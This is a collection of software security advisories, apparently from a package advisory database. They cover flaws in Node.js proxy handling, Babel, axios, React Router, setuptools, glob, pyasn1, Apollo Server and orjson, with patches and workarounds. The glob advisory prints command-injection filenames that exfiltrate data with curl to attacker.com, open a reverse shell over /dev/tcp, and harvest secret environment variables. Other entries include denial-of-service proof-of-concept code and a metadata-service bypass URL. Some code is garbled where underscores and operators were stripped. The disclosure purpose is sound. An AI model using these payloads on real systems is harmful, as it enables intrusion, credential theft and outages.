// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service // bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NOPROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. Fix Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: javascript const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i; const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; function hexToIPv4(a, b) { const hi = parseInt(a, 16), lo = parseInt(b, 16); return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}; } const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; if (hostname[0] === '[' && hostname.at(-1) === ']') hostname = hostname.slice(1, -1); hostname = hostname.replace(/\.+$/, '').toLowerCase(); let m; if ((m = hostname.match(ipv4MappedDotted))) return m[1]; if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); return hostname; };
Impact Any application that sets NOPROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.
Impact
Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code.
Known affected plugins are: - @babel/plugin-transform-modules-systemjs - @babel/preset-env when using the modules: "systemjs" option, as it delegates to @babel/plugin-transform-modules-systemjs
No other plugins under the @babel namespace are impacted.
Users that only compile trusted code are not impacted.
Patches
The vulnerability has been fixed in @babel/plugin-transform-modules-systemjs@7.29.4.
Babel also released @babel/preset-env@7.29.5, updating its @babel/plugin-transform-modules-systemjs dependency, to simplify forcing the update if you are using @babel/preset-env directly.
Workarounds
- Pin @babel/parser to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade @babel/plugin-transform-modules-systemjs to v7.29.4. - Do not use the modules: "systemjs" option, migrate the codebase to native ES Modules or any other module formats.
Credits Babel thanks Daniel Cervera for reporting the vulnerability.
Summary
Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.
This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.
Impact
A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.
The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.
The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.
Affected Functionality
Affected functionality requires all of the following:
- Axios running in Node.js with the HTTP adapter. - An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables. - Redirect following enabled. - A redirect target for which no proxy applies, such as no matching HTTPSPROXY or a matching NOPROXY. - A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.
Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.
Technical Details
In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.
Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.
The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NOPROXY, different proxy targets, casing variants, and an end-to-end redirect flow.
The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.
Proof of Concept of Attack
Safe local outline using dummy credentials:
js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY;
// The local HTTP proxy receives this request and returns: // HTTP/1.1 302 Found // Location: https://attacker.test/final await axios.get('http://attacker.test/start');
Expected vulnerable behaviour:
text Proxy receives initial request: Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request: Proxy-Authorization: Basic dXNlcjpwYXNz
Expected fixed behaviour:
text Final HTTPS origin receives no Proxy-Authorization header.
Workarounds
Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.
Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
<details> <summary>Original Source</summary>
Summary
Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.
When an initial HTTP request is sent through an authenticated HTTPPROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.
Details
The issue occurs during a proxy-to-direct transition across redirects.
When Axios sends an initial HTTP request through an authenticated HTTPPROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.
In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.
Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.
Root Cause Analysis
Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.
In lib/adapters/http.js: - When a proxy is used, Axios adds Proxy-Authorization in setProxy(). - Axios also re-runs proxy resolution after redirects via its redirect hook. - However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.
As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.
A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.
Client Conditions - the initial HTTP request uses an authenticated HTTPPROXY - no proxy applies to the redirected HTTPS URL (for example, no HTTPSPROXY is configured) - redirects are followed - the redirect is treated as same-host by the redirect layer
Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.
Reproduction Outline
Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.
The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.
The issue was confirmed under the following conditions:
- axios 1.13.6 - follow-redirects 1.15.11 - an authenticated proxy applying to the initial HTTP request - no proxy applying to the redirected HTTPS URL - redirects enabled - an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer
Observed behavior
- The initial HTTP request is sent through the proxy and includes Proxy-Authorization. - The redirected HTTPS request is sent directly to the final origin. - The redirected HTTPS request still includes the previously generated Proxy-Authorization header. - The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.
Expected behavior
Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.
Impact
Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.
If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls. </details>
---
React Router is a router for React. In versions 7.0.0 through 7.14.1, when using Framework Mode, a combination of steps could potentially allow unauthorized remote code execution (RCE) through external requests. This attack requires the application code to have an existing prototype pollution vulnerability, which can then be leveraged in a 2-step attack where the second step triggers unauthorized RCE on the remote server. This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This is patched in version 7.14.2.
Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1
Details def downloadurl(self, url, tmpdir): # Determine download filename # name, fragment = egginfoforurl(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '') else: name = "downloaded" # default if URL has no path contents
if name.endswith('.egg.zip'): name = name[:-4] # strip the extra .zip before download
--> filename = os.path.join(tmpdir, name)
Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/packageindex.py#L810C1-L825C88
os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.
Risk Assessment As easyinstall and packageindex are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.
Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.
References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
Impact
body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.
Patches
this issue is patched in 1.20.3
References
Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow: 1. User runs glob -c <command> <pattern> 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using shell: true 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands
Affected Component: - CLI Only: The vulnerability affects only the command-line interface - Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface: - Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using glob -c on untrusted content
PoC
Setup Malicious File: bash mkdir testdirectory && cd testdirectory
Create file with command injection payload in filename touch '$(touch injectedpoc)'
Trigger Vulnerability: bash Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "/"
Result: - The echo command executes normally - Additionally: The $(touch injectedpoc) in the filename is evaluated by the shell - A new file injectedpoc is created, proving command execution - Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration: bash Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell: bash Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting: bash Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact
Arbitrary Command Execution: - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise: - Malicious PR adds files with crafted names to repository - CI pipeline uses glob -c to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack: - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use glob -c for file processing - Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems: - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning: - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems
Platform-Specific Risks: - POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing - Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
- Ecosystem: npm - Package name: glob - Component: CLI only (src/bin.mts) - Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched) - Introduced: v10.2.0 (first release with CLI containing -c/--cmd option) - Patched versions: 11.1.0and 10.5.0
Scope Limitation: - Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe - CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable
Remediation
- Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible. - If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead. - As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Impact
There is a denial of service vulnerability in React Server Components.
React recommends updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:
- react-server-dom-webpack - react-server-dom-parcel - react-server-dom-turbopack
These issues are present in the patches published last week.
Patches
Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS: py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource
Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMITAS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit")
Test with different payload sizes to find the DoS threshold payloadsizemb = int(sys.argv[1])
print(f"[] Testing with {payloadsizemb}MB payload...")
payloadsize = payloadsizemb 1024 1024 Create payload with continuation octets Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' payloadsize + b'\x00' length = len(payload)
DER length encoding (supports up to 4GB) if length < 128: lengthbytes = bytes([length]) elif length < 256: lengthbytes = b'\x81' + length.tobytes(1, 'big') elif length < 2562: lengthbytes = b'\x82' + length.tobytes(2, 'big') elif length < 2563: lengthbytes = b'\x83' + length.tobytes(3, 'big') else: # 4 bytes can handle up to 4GB lengthbytes = b'\x84' + length.tobytes(4, 'big')
Use OID (0x06) for more aggressive parsing maliciouspacket = b'\x06' + lengthbytes + payload
print(f"[] Packet size: {len(maliciouspacket) / 1024 / 1024:.1f} MB")
try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(maliciouspacket, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string print('[] Converting to string...') try: strresult = str(result[0]) print(f'[+] String succeeded: {len(strresult)} chars') if len(strresult) > 10000: print(f'[!] MEMORY EXPLOSION: {len(strresult)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).name} during string conversion')
except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).name}: {e}')
print("\n[] Test completed")
Screenshots with the results:
DoS <img width="944" height="207" alt="Screenshot20251219160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />
<img width="931" height="231" alt="Screenshot20251219152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />
Leak analysis
A potential heap leak was investigated but came back clean: [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heapdump.bin
[] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%
Scenario
1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
The orjson.dumps function in orjson thru 3.11.4 does not limit recursion for deeply nested JSON documents.
Impact
The default configuration of startStandaloneServer from @apollo/server/standalone is vulnerable to Denial of Service (DoS) attacks through specially crafted request bodies with exotic character set encodings.
This issue does not affect users that use @apollo/server as a dependency for integration packages, like @as integrations/express5 or @as-integrations/next, only direct usage of startStandaloneServer.
Who is impacted
Users directly using startStandaloneServer from @apollo/server/standalone.
This issue affects Apollo Server from v5.0.0 through v5.3.x.
It also affects all releases of the end-of-life major versions v4, v3, and v2. Although Apollo Server v4 is EOL and Apollo no longer commits to providing support or updates for it, a fix for it was released in v4.13.0. Apollo Server v3 and v2 are no longer updated, as they have been EOL since 2024 and 2023 respectively.
Patches
Patches for this issue are released as @apollo/server versions 5.4.0 and 4.13.0.
In accordance with RFC 7159, these versions now only accept request bodies encoded in UTF-8, UTF-16 (LE or BE), or UTF-32 (LE or BE). Any other character set will be rejected with a 415 Unsupported Media Type error. Note that the more recent JSON RFC, [RFC 8259 (https://datatracker.ietf.org/doc/html/rfc8259#section-8.1), is more strict and will only allow UTF-8. Since this is a minor release, we have chosen to remain compatible with the more permissive RFC 7159 for now. In a future major release, the restriction may be tightened further to only allow UTF-8.
Workarounds
Users of apollo-server v2 or v3 that cannot upgrade for some reason could switch from the standalone apollo-server package to an integration package like apollo-server-express or apollo-server-koa and set up their own server. Please note that these old packages are generally EOL and do not receive any more support or bug fixes. This can only be seen as a short-term workaround. Updating to @apollo/server v5 should be a priority.
Denial of Service via proto Key in mergeConfig
Summary
The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing proto as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.
Details
The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
javascript utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); });
When prop is 'proto':
1. JSON.parse('{"proto": {...}}') creates an object with proto as an own enumerable property 2. Object.keys() includes 'proto' in the iteration 3. mergeMap['proto'] performs prototype chain lookup, returning Object.prototype (truthy object) 4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype 5. Object.prototype(...) throws TypeError: merge is not a function
The mergeConfig function is called by:
- Axios.request() at lib/core/Axios.js:75 - Axios.getUri() at lib/core/Axios.js:201 - All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
javascript import axios from "axios";
const maliciousConfig = JSON.parse('{"proto": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:
1. Clone axios repository or npm install axios 2. Create file poc.mjs with the code above 3. Run: node poc.mjs 4. Observe the TypeError crash
Verified output (axios 1.13.4):
TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"proto": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |
Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"proto": {"x": 1}}.
Impact
Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.
Affected environments:
- Node.js servers using axios for HTTP requests - Any backend that passes parsed JSON to axios configuration
This is NOT prototype pollution - the application crashes before any assignment occurs.